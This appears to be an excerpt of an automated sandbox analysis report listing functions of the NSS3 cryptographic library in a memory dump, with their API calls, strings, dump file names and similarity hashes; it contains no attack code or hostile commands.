Instruction Fuzzy Hash: 4421F6B6A002116FEB118E15DC81EEB77A8AB06708F050964FD049B711E671DC1987FA

Function 6C647F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C647F68

Part of subcall function 6C6A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6487ED,00000800,6C63EF74,00000000), ref: 6C6A1000
Part of subcall function 6C6A0FF0: PR_NewLock.NSS3(?,00000800,6C63EF74,00000000), ref: 6C6A1016
Part of subcall function 6C6A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6487ED,00000008,?,00000800,6C63EF74,00000000), ref: 6C6A102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C647F7B

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C647FA7

Part of subcall function 6C69FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C698D2D,?,00000000,?), ref: 6C69FB85
Part of subcall function 6C69FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C69FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C76919C,?), ref: 6C647FBB

Part of subcall function 6C69B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7718D0,?), ref: 6C69B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C647FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C76915C,00000014), ref: 6C647FFE

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 385e044c8e6eab6a533e14bda722815de127f26a2e1120769689c69cc26b5dfe
Instruction ID: cc3f2f0f9d391656d7080ce7ed0a271d4b7385d507d7dd34fbf7be569f42e83e
Opcode Fuzzy Hash: 385e044c8e6eab6a533e14bda722815de127f26a2e1120769689c69cc26b5dfe
Instruction Fuzzy Hash: 2011E7A1D002055AE7109A259D44FBB76ECDF5675CF108629FC59D2A41F720A948C2BD

Function 6C64BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C6CDC29,?), ref: 6C64BE64

Part of subcall function 6C6A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6487ED,00000800,6C63EF74,00000000), ref: 6C6A1000
Part of subcall function 6C6A0FF0: PR_NewLock.NSS3(?,00000800,6C63EF74,00000000), ref: 6C6A1016
Part of subcall function 6C6A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6487ED,00000008,?,00000800,6C63EF74,00000000), ref: 6C6A102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C6CDC29,?), ref: 6C64BE78

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C6CDC29,?), ref: 6C64BE96

Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C6CDC29,?), ref: 6C64BEBB

Part of subcall function 6C69FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C698D2D,?,00000000,?), ref: 6C69FB85
Part of subcall function 6C69FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C69FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C6CDC29,?), ref: 6C64BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C6CDC29,?), ref: 6C64BEF3

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 3ed35d0533c7691d4663f4d43a637be86e3a44826b6b095e035b9ffe88c6128c
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 7011BB75E002059BEB008B65ED41FAE3768DFC5398F148024ED09EB740EB31DD0AC7A9

Function 6C6D3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C6D5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6D5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6D3D3F

Part of subcall function 6C64BA90: PORT_NewArena_Util.NSS3(00000800,6C6D3CAF,?), ref: 6C64BABF
Part of subcall function 6C64BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C6D3CAF,?), ref: 6C64BAD5
Part of subcall function 6C64BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C6D3CAF,?), ref: 6C64BB08
Part of subcall function 6C64BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C6D3CAF,?), ref: 6C64BB1A
Part of subcall function 6C64BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C6D3CAF,?), ref: 6C64BB3B

PR_EnterMonitor.NSS3(?), ref: 6C6D3CCB

Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C7090AB
Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C7090C9
Part of subcall function 6C709090: EnterCriticalSection.KERNEL32 ref: 6C7090E5
Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C709116
Part of subcall function 6C709090: LeaveCriticalSection.KERNEL32 ref: 6C70913F

PR_EnterMonitor.NSS3(?), ref: 6C6D3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6D3CF8
PR_ExitMonitor.NSS3(?), ref: 6C6D3D15
PR_ExitMonitor.NSS3(?), ref: 6C6D3D2E

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: ab982091cbe028e7badf93ff09a8a1825e1e856173b6be30a0d15ae7a4837093
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 691104B9A106006FE7205E65FC41B9BB2F4EB5530CF514534E41A8BB20E632F819CB5A

Function 6C69FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C69FE08

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C69FE1D

Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C69FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C69FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C69FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C69FE6F

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 7baba4a61de13080b1367e216d0039483a6c0929ca2ad2c0b258ec1fa8e3156d
Instruction ID: 53944ad987868d6fb3b1704a3a39015b8966aeacfb6eecb127cc08bbf7a46da0
Opcode Fuzzy Hash: 7baba4a61de13080b1367e216d0039483a6c0929ca2ad2c0b258ec1fa8e3156d
Instruction Fuzzy Hash: D01108B6600206BBEB008F55DC40A5B7398AF55399F158034F91D87B12E731E926C7AA

Function 6C74FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C74FD9E

Part of subcall function 6C709BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C631A48), ref: 6C709BB3
Part of subcall function 6C709BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C631A48), ref: 6C709BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C74FDB9

Part of subcall function 6C62A900: TlsGetValue.KERNEL32(00000000,?,6C7A14E4,?,6C5C4DD9), ref: 6C62A90F
Part of subcall function 6C62A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C62A94F

PR_Unlock.NSS3 ref: 6C74FDD4
PR_Lock.NSS3 ref: 6C74FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C74FE0D
PR_Unlock.NSS3 ref: 6C74FE23

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 0238b57e4fc63321b4c5bee525b120c0f53eecd16e9a7f4b72366b202107570f
Instruction ID: 7b045a1246d9993e9eca2e4b9f9e95c703a654b075a1e1eea7e49da6ee9c2016
Opcode Fuzzy Hash: 0238b57e4fc63321b4c5bee525b120c0f53eecd16e9a7f4b72366b202107570f
Instruction Fuzzy Hash: F2018EFAA04640AFDF055E59FD008557A71AB022687154375E82647BE2E722ED28CB82

Function 6C62AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C62AFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6C62AF5C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C62AFC4
%s at line %d of [%.10s], xrefs: 6C62AFD3
misuse, xrefs: 6C62AFCE

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 7e60409c953a4bdac64f52c13749042664b6762a21cafe9ec962861bf9a871be
Instruction ID: ab8471851440bec40dee323e73547e3a228e988feedac7d5c7e3a5c22bd0c1b9
Opcode Fuzzy Hash: 7e60409c953a4bdac64f52c13749042664b6762a21cafe9ec962861bf9a871be
Instruction Fuzzy Hash: 2F91F471B002158FDB14CF59C850AEAB7F1BF85314F1985A8E865AB792C778ED02CF64

Function 6C68FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C68FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C68FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C68FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C68FDDE

Part of subcall function 6C698800: TlsGetValue.KERNEL32(?,6C6A085A,00000000,?,6C648369,?), ref: 6C698821
Part of subcall function 6C698800: TlsGetValue.KERNEL32(?,?,6C6A085A,00000000,?,6C648369,?), ref: 6C69883D
Part of subcall function 6C698800: EnterCriticalSection.KERNEL32(?,?,?,6C6A085A,00000000,?,6C648369,?), ref: 6C698856
Part of subcall function 6C698800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C698887
Part of subcall function 6C698800: PR_Unlock.NSS3(?,?,?,?,6C6A085A,00000000,?,6C648369,?), ref: 6C698899

Strings

pkcs11:, xrefs: 6C68FC4F

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 4cc785a0920d2fa9dd2c6946cb36042aae468d95ac4ee0f06df2d6655ab96464
Instruction ID: 2780801b6853c25defed6af608a34777daf72945b687625ef28ecb5e1ca0bafe
Opcode Fuzzy Hash: 4cc785a0920d2fa9dd2c6946cb36042aae468d95ac4ee0f06df2d6655ab96464
Instruction Fuzzy Hash: F65105B1A461129FEB009F65DD40BAA37B4EF45358F140025DE199BB51EB30E904CBBF

Function 6C5CBDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C5CBE02

Part of subcall function 6C6F9C40: memcmp.VCRUNTIME140(?,00000000,6C5CC52B), ref: 6C6F9D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5CBE9F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5CBE89
%s at line %d of [%.10s], xrefs: 6C5CBE98
database corruption, xrefs: 6C5CBE93

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: e43081ee381ddc0a8230f2a8b280da2227c212e1c12ecc95e2a31055ee98aeed
Instruction ID: 837e5e0c5b9370e1fc46066ff4010ec09215c0e938f5d64d96c5c4f0473ce304
Opcode Fuzzy Hash: e43081ee381ddc0a8230f2a8b280da2227c212e1c12ecc95e2a31055ee98aeed
Instruction Fuzzy Hash: 02314831B046598BCB00EFA9CCD4AABBBB2AF41B14B098958EE541BB41D771ED05C7D3

Function 6C6B6DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C6B6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B6E57

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C6B6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C6B6EAA

Strings

nul, xrefs: 6C6B6DF9

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nul
API String ID: 3163584228-3076721864
Opcode ID: 75e7a8763a9f18bdf21bec9fdff5274dd3607952d25f2b190c2ed52517972ef0
Instruction ID: 0a04a283c80b6fd331c0b88496dea73412ae13b4c6a5476711c3b9126d8aeb9b
Opcode Fuzzy Hash: 75e7a8763a9f18bdf21bec9fdff5274dd3607952d25f2b190c2ed52517972ef0
Instruction Fuzzy Hash: 4631C572618612EFDB185E34DD08396BBA4AB0531AF14063CE59AE6A41E730F467CB85

Function 6C641EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C644C64,?,-00000004), ref: 6C641EE2

Part of subcall function 6C6A1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C641D97,?,?), ref: 6C6A1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C644C64,?,-00000004), ref: 6C641F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C644C64,?,-00000004), ref: 6C641F37
DER_DecodeTimeChoice_Util.NSS3(?,dLdl,?,?,?,?,?,?,?,?,00000000,00000000,?,6C644C64,?,-00000004), ref: 6C641F53

Strings

dLdl, xrefs: 6C641F2B, 6C641F51

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLdl
API String ID: 3216063065-2836744252
Opcode ID: 8b3c739439c92a0aba895ba6c1d2a7b3e726fb7c2431dbd4a9b28a087d0f2025
Instruction ID: 5c0bd89d14ee8e69bcbb53024077a08fb34214255c1d1cd211637292928afdc4
Opcode Fuzzy Hash: 8b3c739439c92a0aba895ba6c1d2a7b3e726fb7c2431dbd4a9b28a087d0f2025
Instruction Fuzzy Hash: F721A475504306AFC740CF69DD00ADBB7E9AB85799F008929E958C3A40F330E62ACBD6

Function 6C630DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C630BDE), ref: 6C630DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C630BDE), ref: 6C630DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C630BDE), ref: 6C630DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C630BDE), ref: 6C630E32

Strings

%s incr => %d (find lib), xrefs: 6C630E2D

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 914cb4f4c34acd4801c1abadf6ac7d8bc35bd1bfdf88eb1f75431ff40efd9e25
Instruction ID: 47dd2fd5c15e03b0387e240fb3c15428c0c2d064e224a3980383b4ec106d4d0a
Opcode Fuzzy Hash: 914cb4f4c34acd4801c1abadf6ac7d8bc35bd1bfdf88eb1f75431ff40efd9e25
Instruction Fuzzy Hash: A60124727002249FE7208F25DC49E17B3ECDB45B09B05543DE909D3A81EB61EC1987E1

Function 6C671CC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C671CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C671CF1

Part of subcall function 6C7509D0: PR_Now.NSS3 ref: 6C750A22
